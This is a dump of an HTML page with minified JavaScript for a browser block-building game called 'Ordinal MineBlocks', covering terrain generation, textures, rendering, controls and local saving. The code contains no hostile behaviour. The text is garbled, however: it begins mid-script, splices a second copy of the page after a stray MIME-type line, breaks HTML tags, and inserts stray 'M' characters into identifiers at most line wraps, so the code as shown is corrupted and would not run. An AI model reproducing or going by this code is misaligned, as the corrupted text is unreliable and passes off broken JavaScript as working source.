=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
